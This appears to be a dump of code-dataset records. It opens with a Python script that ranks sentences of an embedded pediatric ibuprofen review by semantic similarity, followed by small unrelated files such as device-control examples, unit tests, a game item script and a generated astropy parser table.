More recently, a prospective single-center study conducted in Poland including 203 children hospitalized for CAP between 2012 and 2014 evaluated the cumulative effect of ibuprofen dosing [51] . The authors demonstrated that pre-hospitalization higher cumulative dose of ibuprofen was associated with a 2.5 greater risk of pneumonia complications [51] . Forty-two children developed a pleural or pulmonary complication including para-pneumonic pleural effusion, pleural empyema, necrotizing pneumonia, and lung abscess. The exposure to a cumulative dose of ibuprofen higher than 78 mg/kg was associated with an increased risk of pleural or pulmonary complication [51] . Most of these pediatric casecontrol studies share the methodological weakness of not accounting for protopathic bias that occurs when it is not possible to determine whether the exposure to the factor preceded or not the occurrence of the complication. Hence, NSAIDs could have been prescribed because of symptoms (thoracic pain, fever) related to the beginning of a complication (parapneumonic pleural effusion, pleural empyema), rather than representing a concrete risk factor for the occurrence of a pleural or a pulmonary complication. In order to account for this bias, a case-control study was conducted in 15 French centers between 2006 and 2009 [24] . The cases involved consecutive children hospitalized for a pleural empyema occurring in the 15 days following a viral-associated respiratory tract infection treated at home. The controls were children with a viral-associated respiratory tract infection treated at home who did not require hospitalization and were matched for the general practitioner, age, viral symptoms, and season [24] . Eighty-three case-control pairs were studied. Infection was localized in the lower respiratory tract in 23% of cases and 34% of controls (p = 0.21). NSAIDs exposure, almost exclusively to ibuprofen, was involved in 39% of cases and 27% of controls (p = 0.08). Half of the children received paracetamol (47% vs 49%; p = 0.79), while 8% of the cases and 15% of the controls received antibiotics concomitantly to the first day of viral symptoms (p = 0.21). In a multivariate analysis, NSAI Ds treatment starting during first 3 days of viral symptoms and administered for at least 1 day was independently associated with a higher risk of pleural empyema (OR = 2.79; 95% confidence interval (CI), 1. 40-5.58 ). An antibiotic Non-interventional study, with unclear exclusion criteria and relatively small sample size. CRP C-reactive protein, NSAIDs Non-steroidal anti-inflammatory drugs, PDA Patent ductus arteriosus, STSS Streptococcal toxic shock syndrome therapy started within the first 3 days of viral symptoms and administered for at least 6 days was independently associated with a lower risk of pleural empyema (OR = 0.32; 95% CI, 0.11-0.97). In the sub-group of children exposed to NSAIDs, the risk of pleural empyema was increased if the duration of antibiotic therapy was less than 6 days (OR = 3.01; 95% CI, 1.52-5.95) [24] . Finally, Meganathan et al., identified in a multivariate regression logistic analysis ibuprofen as an independent risk factor for the development of parapneumonic effusion/empyema in 30 children with CAP, (adjusted OR 6.8; 95%CI: 1.07-43.6) [52] . Table 3 summarizes all the evidences associating ibuprofen consumption with risk of developing complicated CAP. In conclusion, pre-hospital administration of ibuprofen is associated with an increased risk of complicated lung infections in children, including empyema. Pediatricians should be aware of these possible complications and possibly avoid the administration of ibuprofen in the setting of febrile children with a suspicion of LRTI. Differently, from the above-discussed data the use of ibuprofen in children with cystic fibrosis seems to be safe and efficacious. As well known, cystic fibrosis (CF) is a genetic disease characterized by chronic lung inflammation and recurrent pulmonary infections. Pulmonary infections during cystic fibrosis disease course tend to be polymicrobial and are responsible for acute inflammatory response with an abundance of neutrophils, challenging the ability of the pulmonary system to clear them [53] . Ibuprofen use during CF pulmonary infections has been demonstrated to be effective and safe in containing the inflammatory response and helping the resolution of the infective episodes in numerous trials as well as in in vitro studies [53] [54] [55] [56] [57] [58] . Already in 1995, Konstan and colleagues performed randomized controlled trial including both adults and children affected by CF. [53] The enrolled patients were randomly assigned to receive orally ibuprofen or placebo, twice a day for 4 years. Patients assigned to the ibuprofen group demonstrated a significant slower annual rate of change in FEV1 and a higher weight when compared to the patients assigned to placebo [53] . In 2007 Lands et al. reported the data of a pediatric double-blinded, placebo-controlled trial on 142 CF children randomized to receive either high-dose ibuprofen (20 to 30 mg/kg/twice daily) or placebo for a 2-year period. Children in the high-dose ibuprofen group exhibited a significant reduction in the rate of decline of forced vital capacity percent predicted (p = 0.03), but not FEV1% [57] . The ibuprofen group also spent fewer days in hospital after adjusting for age (1.8 vs 4.1 days per year; p = 0.07). No differences in serious adverse events were observed between the 2 groups [57] . In 2007 Lands and colleagues published the first Cochrane-review on the efficacy of oral non-steroidal anti-inflammatory drug therapy for lung disease in cystic fibrosis, further updated in 2013, 2017 and lately in 2019 [58] [59] [60] [61] . The last published in 2019 identified 17 trials, but only 4 were finally included in the analysis. The authors concluded that high-dose ibuprofen could slow the progression of lung disease in patients affected by CF, especially in children [61] . Regarding the mechanism, a recent paper proposed that ibuprofen's effectiveness in this setting might occur due to its antimicrobial effects against Pseudomonas aeruginosa and Burkholderia bacteria, 2 of the most fearsome pathogens associated with CF. [62] As a matter of fact, ibuprofen was able to reduce the growth rate and bacterial burden of these bacteria in a dose-dependent fashion in an acute pseudomonas pneumonia mouse model [62] . In conclusion, ibuprofen use in the setting of CF has been proven to be efficacious and safe in slowing down lung disease progression, thus strongly recommending its administration to face CF exacerbations. Coronavirus disease 2019 (COVID-19) is the result of a zoonotic infection caused by a novel coronavirus, severe acute respiratory syndrome coronavirus-2 (SARS-CoV-2) [63] . On March 11, 2020, the World Health Organization (WHO) officially declared COVID-19 a pandemic disease [64] . As of November 14th, 2020, SARS-CoV-2 spread in more than 200 countries worldwide and infected over 53 million people with 1.3 million deaths (https://www.worldometers.info/ coronavirus/). Current experience suggests that adults are more susceptible to SARS-CoV-2 than children [65] . In adults, COVID-19 is typically characterized by severe interstitial pneumonia and hyper activation of the inflammatory cascade [66, 67] . Data from individual countries and several studies suggest that children under the age of 18 years represent about 8.5% of the reported cases, with relatively few deaths compared to other agegroups. Infection in children generally causes mild disease, and serious illness due to COVID-19 is seen only infrequently [68] [69] [70] [71] [72] [73] . The most common findings amongst symptomatic children are fever (50%) and cough (38%). Shortness of breath, sore throat, rhinorrhea, conjunctivitis, fatigue, and headache are other commonly reported symptoms. Diarrhea, vomiting, and abdominal pain are common gastrointestinal symptoms that may be present with or without respiratory symptoms [68] [69] [70] [71] [72] [73] . The basis of the decreased severity of SARS CoV-2 infection in children is still not well understood. Many hypotheses have been formulated including an immature receptor system, specific regulatory mechanisms in the immune system and cross-protection by antibodies directed towards common viral infections in infancy [74] . Particularly, most of the attention has been focused in possible differences in the expression, distribution and/or functioning of the human cell receptor expressing angiotensin-converting enzyme 2 (ACE2). As further elucidated, the binding of ACE2 is a crucial mechanism in SARS-CoV-2 pathogenesis. SARS-CoV2 structure includes 4 structural proteins: spike (S), membrane (M), envelope (E), and nucleocapsid (N). The spike protein binds to ACE2 and results in membrane fusion via conformational changes in the cell membrane [75, 76] . This process affects target organs (lungs, digestive tract, heart, blood vessels, and kidneys) where ACE2 expression is very high and induces local and systemic inflammatory responses involving the affected organ [75, 76] . It has been hypothesized that ACE2 expression may be decreased in children, although this has not yet been demonstrated. In addition, a greater dysregulation/dysfunction of both adaptive and innate immune responses and greater incidence of comorbidities in adults may also contribute to the more severe manifestations observed in adults vs children. Indeed, it seems pretty clear that the 'cytokine storm' occurring in the second phase of COVID-19 course is responsible of worsening of clinical symptoms. The molecular mechanisms underlying the altered pathological inflammation in COVID-19 are largely unknown [77] . Recently Sohn et al. reported that toll-like receptor (TLR) 4-mediated inflammatory signalling molecules are upregulated in peripheral blood mononuclear cells (PBMCs) from COVID-19 patients [78] . The blockade of TLR signalling through molecular checkpoints may contribute to developing a potential target treatment [79] . This inflammatory cascade seems to be infrequent in children, if we exclude the recently described cases of multisystem inflammatory syndrome [80] [81] [82] . The so-called MIS-C (multisystem inflammatory syndrome in children) is characterized by a hyperinflammatory shock, exhibiting similar features to atypical Kawasaki disease without significant respiratory issues in children previously exposed to SARS-CoV-2 [80] [81] [82] . The pathogenesis of this rare complication of COVID-19 in children may represent the equivalent of severe SARS-CoV2 induced cytokine storm in adults. Due to the crucial role exerted by ACE2 expression in COVID-19 pathogenesis, Fang and colleagues at the beginning of the pandemic on March 2020 hypothesized a possible deleterious role of ACE2-stimulating drugs and ibuprofen on the course of SARS-CoV-2 infected patients [83] . Indeed, ibuprofen has been shown to exert significant effect on mice cardiac fibrosis increasing the level of expression of level of expression of ACE2 in a rat model of diabetes [84] . The increase of ACE2 expression may lead to a potential rise of SARS-CoV-2 viral load and consequently to a more severe disease course [83] . Therefore, the authors concluded their commentary discouraging the use of these drugs in the setting of COVID-19, although no evidence suggests a direct interaction between ibuprofen and ACE2 in humans. Nevertheless, this plausible mechanism together with the above-reported evidences of ibuprofen mediated worsening of LRTI, led the ANSM releasing a warning, asking whether patients showing symptoms of COVID-19 should use paracetamol rather than ibuprofen [85]. This warning was echoed by the British Medical Journal [86] [87] [88] , causing a drop of 80% ibuprofen prescriptions in France [89] . The UK Medicines and Healthcare products Regulatory Agency (MHRA) reported that in the absence of clear evidences, patients should be advised to take paracetamol to treat the symptoms of COVID-19, unless paracetamol is not suitable for them [90] . In a similar way the European Medicine Agency (EMA) released the following statement: "There is currently no scientific evidence establishing a link between ibuprofen and worsening of COVID-19. EMA is monitoring the situation closely and will review any new information that becomes available on this issue in the context of the pandemic" [91] . Differently, the World Health Organization (WHO), after advising not to use ibuprofen for COVID-19, quickly retracted the public advisory on March 18, 2020 [92] . While the scientific debate whether to use or not ibuprofen in the course of COVID-19 continues [93] [94] [95] [96] , the first data have been published. Abu Esba and colleagues prospectively recruited 503 adults with a confirmed SARS-CoV2 infection of whom 40 (8%) using ibuprofen during the infection, 17 (3.4%) assuming other NSAIDs and 96 (19%) being chronically treated with NSAIDs before and during the infection. Neither the acute nor the chronic use of NSAIDs resulted to be associated with increased mortality or severe COVID19 [97] . More recently, Kragholm and colleagues reported the data of a retrospective, nationwidebased cohort study, including 4002 adults with COVID-19 of whom 264 (6.6%) treated with ibuprofen [98] . No significant association between ibuprofen prescription claims and severe COVID-19 was found [98] . Finally, Rinott and colleagues retrospectively evaluated the use of ibuprofen versus paracetamol during the course of SARS-CoV2 infection in 403 adult patients, confirming that ibuprofen was not associated with severe COVID-19 [99] . Up to date no study has been conducted in the setting of pediatric patients. In conclusions, despite the initial warning, a causal link of a harmful effect of ibuprofen in patients with COVID-19 has not been established. Nevertheless, considering the overall uncertainty, the little amount of the published data and the milder course of pediatric COVID-19, we suggest to use acetaminophen monotherapy as first-antipyretic in children infected with SARS-CoV2. Further, well-designed studies are urgently needed in order to clarify this important issue and allow an improvement of cares for SARS-CoV2 infected patients. During the last decade the progressive widespread of ibuprofen administration in pediatric diseases led to several concerns on possible serious side effects, including the worsening of infectious processes. This narrative review clearly underlines that there are sufficient evidences to contraindicate ibuprofen for the management of chickenpox symptoms, due to the elevated risk of NSTI. Despite the lack of well-conducted trials, several papers suggest that pre-hospital use of ibuprofen may increase the risk of complicated pneumonia in children. Thus, we recommend caution on its administration in the febrile children with a suspicion of LRTI. Differently, ibuprofen's efficacy and safety in the setting of cystic fibrosis is corroborated by RCTs and metanalyses and it is therefore strongly recommended. Conflicting data have been published for the management of the septic children. Up to date it is not possible to draw any conclusion and further welldesigned trials are urgently warranted. Finally, the COVID-19 pandemic raises many questions regarding ibuprofen administration during the acute respiratory distress syndrome caused by SARS-CoV2. The first published papers seem to be reassuring at least in adults. However, while waiting for real-life pediatric data taking into account the milder course of SARS-CoV2 infection in children, the risks of bacterial superinfection and the above reported data on LRTI, we recommend continuing use paracetamol as first choice in the course of COVID-19.''' def extractSentencesFromText(text): sections = text.replace('\n',' ').replace('\r',' ').split('.') passages = [] for section in sections: passages.append(['', removeUnicode(section.strip())]) return passages def removeUnicode(text): string_encode = text.encode("ascii", "ignore") return string_encode.decode() def scorePassages(query): query_embedding = model.encode(query) scores = util.pytorch_cos_sim(query_embedding, passage_embedding).tolist()[0] score_dict = {} sentence_counter = 0 for score in scores: score_dict[sentence_counter] = score sentence_counter+=1 return score_dict passages = extractSentencesFromText(text) print ('Total Passages:', len(passages)) passages[:3] passage_embedding = model.encode(passages) print ('Passage Embeddings:') print (passage_embedding[:3]) query = "what are ibuprofen risks in pediatrics?" score_dict = scorePassages(query) for w in sorted(score_dict, key=score_dict.get, reverse=True): print(score_dict[w], passages[w][1])

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2583228c221a102f03eba47cb9d43c5c55b053f1

63

py

Python

src/helpers.py

andysnell/project-euler

43d92e59d247dfc319c6fe4c22ecc7962e2283ca

[ "FTL" ]

null

src/helpers.py

andysnell/project-euler

43d92e59d247dfc319c6fe4c22ecc7962e2283ca

[ "FTL" ]

null

src/helpers.py

andysnell/project-euler

43d92e59d247dfc319c6fe4c22ecc7962e2283ca

[ "FTL" ]

null

def solution(value): print("Solution: {}".format(value))

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4

2593fd5963a1c86d4f68648406939a7ee63102df

2,165

py

Python

ophyd/tests/test_timestamps.py

DominicOram/ophyd

df60483867e521dcda83648756cab8fc7b80dd17

[ "BSD-3-Clause" ]

16

2015-05-20T20:48:25.000Z

2019-04-24T21:12:59.000Z

ophyd/tests/test_timestamps.py

DominicOram/ophyd

df60483867e521dcda83648756cab8fc7b80dd17

[ "BSD-3-Clause" ]

594

2015-01-05T21:55:21.000Z

2019-05-10T02:05:24.000Z

ophyd/tests/test_timestamps.py

DominicOram/ophyd

df60483867e521dcda83648756cab8fc7b80dd17

[ "BSD-3-Clause" ]

37

2019-07-06T18:17:07.000Z

2022-03-09T22:26:18.000Z

import time import logging import pytest from ophyd import (EpicsSignal, EpicsSignalRO) from numpy.testing import assert_almost_equal logger = logging.getLogger(__name__) @pytest.mark.motorsim def test_read_pv_timestamp_no_monitor(motor): motor.set(0, wait=True) sp = EpicsSignal(motor.user_setpoint.pvname, name='test') rbv = EpicsSignalRO(motor.user_readback.pvname, name='test') assert rbv.get() == sp.get() rbv_value0 = rbv.get() ts0 = rbv.timestamp sp.put(sp.get() + 0.1) time.sleep(.5) rbv_value1 = rbv.get() ts1 = rbv.timestamp assert ts1 > ts0 assert_almost_equal(rbv_value0 + 0.1, rbv_value1) sp.put(sp.get() - 0.1) @pytest.mark.motorsim def test_write_pv_timestamp_no_monitor(motor): motor.set(0, wait=True) sp = EpicsSignal(motor.user_setpoint.pvname, name='test') sp_value0 = sp.get() ts0 = sp.timestamp sp.put(sp_value0 + 0.1, wait=True) time.sleep(0.1) sp_value1 = sp.get() ts1 = sp.timestamp assert ts1 > ts0 assert_almost_equal(sp_value0 + 0.1, sp_value1) sp.put(sp.get() - 0.1, wait=True) @pytest.mark.motorsim def test_read_pv_timestamp_monitor(motor): motor.set(0, wait=True) sp = EpicsSignal(motor.user_setpoint.pvname, auto_monitor=True, name='test') rbv = EpicsSignalRO(motor.user_readback.pvname, auto_monitor=True, name='test') rbv_value0 = rbv.value ts0 = rbv.timestamp sp.put(rbv_value0 + 0.1, wait=True) time.sleep(0.2) rbv_value1 = rbv.value ts1 = rbv.timestamp assert ts1 > ts0 assert_almost_equal(rbv_value0 + 0.1, rbv_value1) sp.put(sp.value - 0.1, wait=True) @pytest.mark.motorsim def test_write_pv_timestamp_monitor(motor): motor.set(0, wait=True) sp = EpicsSignal(motor.user_setpoint.pvname, auto_monitor=True, name='test') sp_value0 = sp.value ts0 = sp.timestamp sp.put(sp_value0 + 0.1, wait=True) time.sleep(0.1) sp_value1 = sp.value ts1 = sp.timestamp assert ts1 > ts0 assert_almost_equal(sp_value0 + 0.1, sp_value1) sp.put(sp.value - 0.1, wait=True)

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null

0

4

25959f1c476aaba34165267724e75d38b777c557

281

py

Python

Apps/Usuario/tests/unit_tests/test_forms.py

cadubrito/Agenda

1429d8333f8367034c8a902c739ccc69f833dba1

[ "MIT" ]

null

Apps/Usuario/tests/unit_tests/test_forms.py

cadubrito/Agenda

1429d8333f8367034c8a902c739ccc69f833dba1

[ "MIT" ]

null

Apps/Usuario/tests/unit_tests/test_forms.py

cadubrito/Agenda

1429d8333f8367034c8a902c739ccc69f833dba1

[ "MIT" ]

null

from Apps.Usuario.forms import UserAutenticationForm from django.test import TestCase class UsuarioFormTestCase(TestCase): def test_when_user_informs_only_username_and_empty_pass(self): form = UserAutenticationForm(data={}) self.assertFalse(form.is_valid())

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0

1

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25c4a5d52683ac1bcd6aafd872dc38d724bc83d9

134

py

Python

examples/kill.py

minghancmh/pyparrot

aea5f26b322e4d46b2e16562c6413c585464146a

[ "MIT" ]

null

examples/kill.py

minghancmh/pyparrot

aea5f26b322e4d46b2e16562c6413c585464146a

[ "MIT" ]

null

examples/kill.py

minghancmh/pyparrot

aea5f26b322e4d46b2e16562c6413c585464146a

[ "MIT" ]

null

from pyparrot.Bebop import Bebop import math bebop = Bebop() bebop.emergency_land() print("DONE - disconnecting") bebop.disconnect()

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null

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d301b048278f780326ce014348b0dba72f5bcf93

168

py

Python

py_tdlib/constructors/get_groups_in_common.py

Mr-TelegramBot/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

24

2018-10-05T13:04:30.000Z

2020-05-12T08:45:34.000Z

py_tdlib/constructors/get_groups_in_common.py

MrMahdi313/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

3

2019-06-26T07:20:20.000Z

2021-05-24T13:06:56.000Z

py_tdlib/constructors/get_groups_in_common.py

MrMahdi313/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

5

2018-10-05T14:29:28.000Z

2020-08-11T15:04:10.000Z

from ..factory import Method class getGroupsInCommon(Method): user_id = None # type: "int32" offset_chat_id = None # type: "int53" limit = None # type: "int32"

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null

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d3044bab10866126d025e5cdf5ec65738c7092c0

172

py

Python

scripts/item/consume_2433197.py

Snewmy/swordie

ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17

[ "MIT" ]

null

scripts/item/consume_2433197.py

Snewmy/swordie

ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17

[ "MIT" ]

null

scripts/item/consume_2433197.py

Snewmy/swordie

ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17

[ "MIT" ]

null

# Damage Skin - Violetta success = sm.addDamageSkin(2433197) if success: sm.chat("The Damage Skin - Violetta has been added to your account's damage skin collection.")

34.4

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null

1

0

1

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null

0

4

d30ffea315f250f9912b82e9a9cdd819f1843403

59

py

Python

zang/inboundxml/elements/constants.py

vlastikczech/zang-python

980f5243071404d6838554500a6955ff7bc2a0c7

[ "MIT" ]

1

2019-02-18T21:51:58.000Z

zang/inboundxml/elements/constants.py

vlastikczech/zang-python

980f5243071404d6838554500a6955ff7bc2a0c7

[ "MIT" ]

6

2019-06-26T13:56:22.000Z

2022-02-17T16:40:48.000Z

zang/inboundxml/elements/constants.py

vlastikczech/zang-python

980f5243071404d6838554500a6955ff7bc2a0c7

[ "MIT" ]

6

2017-10-17T12:44:32.000Z

2020-02-07T20:45:00.000Z

XML_DECLARATION = '<?xml version="1.0" encoding="UTF-8"?>'

29.5

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0.661017

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0.055556

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0

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null

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d321c385515d58973518fee1f54b1f14924828a1

449

py

Python

peregrinearb/__init__.py

kecheon/peregrine

3d308ff3134bc00900421b248f9f93d7ad31ddb6

[ "MIT" ]

954

2018-02-19T23:20:08.000Z

2022-03-28T16:37:43.000Z

peregrinearb/__init__.py

edouardkombo/peregrine

a3346e937d417acd91468884ee1fc14586cf317d

[ "MIT" ]

55

2018-02-17T00:12:03.000Z

2021-11-09T03:57:34.000Z

peregrinearb/__init__.py

edouardkombo/peregrine

a3346e937d417acd91468884ee1fc14586cf317d

[ "MIT" ]

307

2018-02-24T06:00:13.000Z

2022-03-30T01:28:32.000Z

from .async_find_opportunities import * from .async_build_markets import * from .bellman_multi_graph import bellman_ford_multi, NegativeWeightFinderMulti from .bellmannx import bellman_ford, calculate_profit_ratio_for_path, NegativeWeightFinder, NegativeWeightDepthFinder, \ find_opportunities_on_exchange, get_starting_volume from .utils import * from .fetch_exchange_tickers import * from .settings import * from .multi_graph_builder import *

44.9

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6.722222

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0.093664

0

0.095768

449

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true

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null

0

1

0

1

0

1

0

4

d33c517e903d4299dcc756db5c8e54c394d2ba3f

56

py

Python

goodmorning.py

patelkishan9286/Open-contributions

7c106acf84449246ff2bfb95537b95489287b660

[ "MIT" ]

61

2020-09-10T05:16:19.000Z

2021-11-07T00:22:46.000Z

goodmorning.py

vivek-pratap/Open-contributions

46011948225cb194e1185507086f33f873a8103b

[ "MIT" ]

72

2020-09-12T09:34:19.000Z

2021-08-01T17:48:46.000Z

goodmorning.py

vivek-pratap/Open-contributions

46011948225cb194e1185507086f33f873a8103b

[ "MIT" ]

571

2020-09-10T01:52:56.000Z

2022-03-26T17:26:23.000Z

def goodmorningmsg(name): print("Good Morning,"+name)

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29

0.732143

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1

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null

0

1

0

1

0

4

d34bfac2c68b5bc667218c09d881c93232dd22a8

296

py

Python

MusicMaze/view/MusicTextView.py

RegaledSeer/MusicMaze

5a60fb23694583cfbfde3d19a0aec5292c5aa9cc

[ "MIT" ]

3

2020-02-04T17:32:08.000Z

2020-03-25T13:52:29.000Z

MusicMaze/view/MusicTextView.py

RegaledSeer/MusicMaze

5a60fb23694583cfbfde3d19a0aec5292c5aa9cc

[ "MIT" ]

24

2018-11-09T16:58:13.000Z

2018-12-30T18:44:51.000Z

MusicMaze/view/MusicTextView.py

CookieComputing/MusicMaze

5a60fb23694583cfbfde3d19a0aec5292c5aa9cc

[ "MIT" ]

null

class MusicTextView: """This class represents one instance of a view for the music maze. The purpose of this class is to represent the maze through text and also to create a basis on the methods needed to cover all of the view's expected features for sanity checking purposes."""

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0

null

0

1

0

1

0

4

d35e5632eaed82bd9c90818b3bb99927f47ec345

31

py

Python

macOS/Lock to Delete.py

ahornby/autokey-macos

10a7442c1d00363ade52e8fc9371565e0e36d23d

[ "MIT" ]

null

macOS/Lock to Delete.py

ahornby/autokey-macos

10a7442c1d00363ade52e8fc9371565e0e36d23d

[ "MIT" ]

null

macOS/Lock to Delete.py

ahornby/autokey-macos

10a7442c1d00363ade52e8fc9371565e0e36d23d

[ "MIT" ]

null

keyboard.send_keys("<delete>")

15.5

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null

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null

0

1

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4

d37a8c4afe249b053873ffd431ee5ad68eca608c

408

py

Python

tests/undocumented_exception/test_undocumented_exception.py

Bakhtiyar-Garashov/flake8-fastapi

81e774defcae377e77c1986ca780a922b27d2757

[ "MIT" ]

20

2021-06-01T20:53:46.000Z

2022-01-29T21:35:46.000Z

tests/undocumented_exception/test_undocumented_exception.py

Bakhtiyar-Garashov/flake8-fastapi

81e774defcae377e77c1986ca780a922b27d2757

[ "MIT" ]

13

2021-06-02T15:26:22.000Z

2021-07-25T13:27:59.000Z

tests/undocumented_exception/test_undocumented_exception.py

Bakhtiyar-Garashov/flake8-fastapi

81e774defcae377e77c1986ca780a922b27d2757

[ "MIT" ]

3

2021-06-01T21:16:58.000Z

2022-01-29T21:39:29.000Z

from flake8_plugin_utils import assert_error, assert_not_error from flake8_fastapi.errors import UndocumentedHTTPExceptionError from flake8_fastapi.visitors import UndocumentedHTTPException def test_code_with_error(code: str): assert_error(UndocumentedHTTPException, code, UndocumentedHTTPExceptionError) def test_code_without_error(code: str): assert_not_error(UndocumentedHTTPException, code)

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408

12

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null

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null

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1

0

1

0

1

0

4

d3898d08968497a476957a8f48a651e422e97f11

140

py

Python

libdouya/utilities/tml/__init__.py

xmyeen/douya

d2f7c15ca2e049a8dad9d4deaeba73401c883860

[ "MIT" ]

null

libdouya/utilities/tml/__init__.py

xmyeen/douya

d2f7c15ca2e049a8dad9d4deaeba73401c883860

[ "MIT" ]

null

libdouya/utilities/tml/__init__.py

xmyeen/douya

d2f7c15ca2e049a8dad9d4deaeba73401c883860

[ "MIT" ]

null

# -*- coding:utf-8 -*- #!/usr/bin/env Python from .text_markup_language_utility import TmlUtl,TmlDefs __all__ = ["TmlUtl", "TmlDefs"]

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23.333333

0.733333

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null

1

0

1

0

null

0

1

0

4

d38d50f8b393e6ce416e7a39039cace046ad8b98

73

py

Python

smartPlugOFF.py

fernangit/ras_py_smartPlugControl

0611ba9a23065ed385db12714e91fc1ad95cbe5d

[ "Apache-2.0" ]

null

smartPlugOFF.py

fernangit/ras_py_smartPlugControl

0611ba9a23065ed385db12714e91fc1ad95cbe5d

[ "Apache-2.0" ]

null

smartPlugOFF.py

fernangit/ras_py_smartPlugControl

0611ba9a23065ed385db12714e91fc1ad95cbe5d

[ "Apache-2.0" ]

null

import tplink_smartplug_py3 as plug plug.control('192.168.0.106', 'off')

24.333333

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73

4.153846

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0

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0.082192

73

2

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0

1

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true

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0

null

0

1

0

null

0

1

0

1

0

4

d396f299dbb490cc82d30fe2a52ad68998184b54

258

py

Python

labelio/Readers/DataReaderFactory.py

farmerTheodor/labelio

fc9846467a88e07ffb14863e1db409fb11d036b2

[ "MIT" ]

null

labelio/Readers/DataReaderFactory.py

farmerTheodor/labelio

fc9846467a88e07ffb14863e1db409fb11d036b2

[ "MIT" ]

null

labelio/Readers/DataReaderFactory.py

farmerTheodor/labelio

fc9846467a88e07ffb14863e1db409fb11d036b2

[ "MIT" ]

null

from labelio.Readers.DataReaderBase import DataReaderBase from labelio.Readers.PascalVocDataReader import PascalVocDataReader def GetDataReader(source) -> DataReaderBase: if ".xml" in source: return PascalVocDataReader(source) return None

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null

0

1

0

null

0

1

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1

0

4

6cb6a915b32b04316ccf37537bdf1d4786016e06

6,915

py

Python

NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/format/ogip_parsetab.py

sahirsharma/Martian

062e9b47849512863c16713811f347ad7e121b56

[ "MIT" ]

null

NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/format/ogip_parsetab.py

sahirsharma/Martian

062e9b47849512863c16713811f347ad7e121b56

[ "MIT" ]

null

NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/format/ogip_parsetab.py

sahirsharma/Martian

062e9b47849512863c16713811f347ad7e121b56

[ "MIT" ]

null

# Licensed under a 3-clause BSD style license - see LICENSE.rst from __future__ import (absolute_import, division, print_function, unicode_literals) # This file is automatically generated. Do not edit. _tabversion = '3.5' _lr_method = 'LALR' _lr_signature = '6AD6E7286443B59D7DF329E6378BFC6B' _lr_action_items = {'DIVISION':([0,4,5,6,7,10,11,15,16,17,19,20,24,26,27,34,37,38,41,44,46,47,49,50,53,57,59,60,62,63,66,67,],[1,-10,1,1,-6,1,-17,-30,35,-16,-41,-40,35,-7,42,1,-9,-8,-12,-33,-32,-18,-19,-31,-15,1,-11,-14,-35,-34,-13,-36,]),'STAR':([4,5,7,15,19,20,24,26,37,38,41,44,46,50,59,60,62,63,66,67,],[-10,23,-6,-30,-41,-40,40,-7,-9,-8,-12,-33,-32,-31,-11,-14,-35,-34,-13,-36,]),'WHITESPACE':([0,1,4,5,6,7,10,11,15,17,19,20,23,26,27,34,35,37,38,40,41,42,44,46,47,49,50,53,57,59,60,62,63,66,67,],[16,18,-10,24,16,-6,27,-17,-30,-16,-41,-40,39,-7,16,16,52,-9,-8,54,-12,56,-33,-32,-18,-19,-31,-15,16,-11,-14,-35,-34,-13,-36,]),'STARSTAR':([11,13,15,17,19,20,31,41,59,],[29,29,29,29,-41,-40,-39,29,29,]),'UNKNOWN':([0,],[2,]),'LIT10':([0,],[17,]),'SIGN':([0,29,30,32,33,36,45,55,64,],[12,-29,48,48,48,48,12,48,48,]),'OPEN_PAREN':([0,1,6,9,10,11,15,17,18,19,20,21,22,23,24,27,29,30,32,33,34,35,36,39,40,42,44,46,47,49,52,53,54,55,56,62,63,64,67,],[6,-20,6,6,6,-17,34,-16,-23,-41,-40,6,6,-25,-24,6,-29,45,45,45,6,-21,45,-28,-26,-20,-33,-32,-18,-19,-22,-15,-27,45,-22,-35,-34,45,-36,]),'UINT':([0,1,3,12,18,29,30,32,33,35,36,45,48,52,55,61,64,],[-38,-20,20,31,-23,-29,46,46,46,-21,46,-38,-37,-22,46,65,46,]),'CLOSE_PAREN':([4,5,7,15,19,20,25,26,31,37,38,41,44,46,50,51,57,58,59,60,62,63,65,66,67,],[-10,-5,-6,-30,-41,-40,41,-7,-39,-9,-8,-12,-33,-32,-31,59,62,63,-11,-14,-35,-34,67,-13,-36,]),'$end':([2,4,5,7,8,14,15,19,20,26,28,37,38,41,43,44,46,50,59,60,62,63,66,67,],[-1,-10,-5,-6,0,-2,-30,-41,-40,-7,-3,-9,-8,-12,-4,-33,-32,-31,-11,-14,-35,-34,-13,-36,]),'UNIT':([0,1,6,9,10,11,17,18,19,20,21,22,23,24,27,34,35,39,40,42,44,46,47,49,52,53,54,56,62,63,67,],[15,-20,15,15,15,-17,-16,-23,-41,-40,15,15,-25,-24,15,15,-21,-28,-26,-20,-33,-32,-18,-19,-22,-15,-27,-22,-35,-34,-36,]),'UFLOAT':([0,3,12,29,30,32,33,36,45,48,55,64,],[-38,19,-37,-29,-38,-38,-38,-38,-38,-37,-38,-38,]),} _lr_action = {} for _k, _v in _lr_action_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_action: _lr_action[_x] = {} _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'division':([0,5,6,10,27,34,57,],[9,21,9,9,9,9,61,]),'product':([5,],[22,]),'scale_factor':([0,],[10,]),'power':([11,13,15,17,41,59,],[30,32,33,36,55,64,]),'signed_float':([0,30,32,33,36,45,55,64,],[11,44,44,44,44,57,44,44,]),'sign':([0,30,32,33,36,45,55,64,],[3,3,3,3,3,3,3,3,]),'product_of_units':([0,6,10,27,34,],[5,5,5,5,5,]),'signed_int':([0,45,],[13,58,]),'unit_expression':([0,6,9,10,21,22,27,34,],[7,7,26,7,37,38,7,7,]),'numeric_power':([30,32,33,36,55,64,],[47,49,50,53,60,66,]),'main':([0,],[8,]),'complete_expression':([0,6,10,27,34,],[14,25,28,43,51,]),'unit':([0,6,9,10,21,22,27,34,],[4,4,4,4,4,4,4,4,]),} _lr_goto = {} for _k, _v in _lr_goto_items.items(): for _x, _y in zip(_v[0], _v[1]): if not _x in _lr_goto: _lr_goto[_x] = {} _lr_goto[_x][_k] = _y del 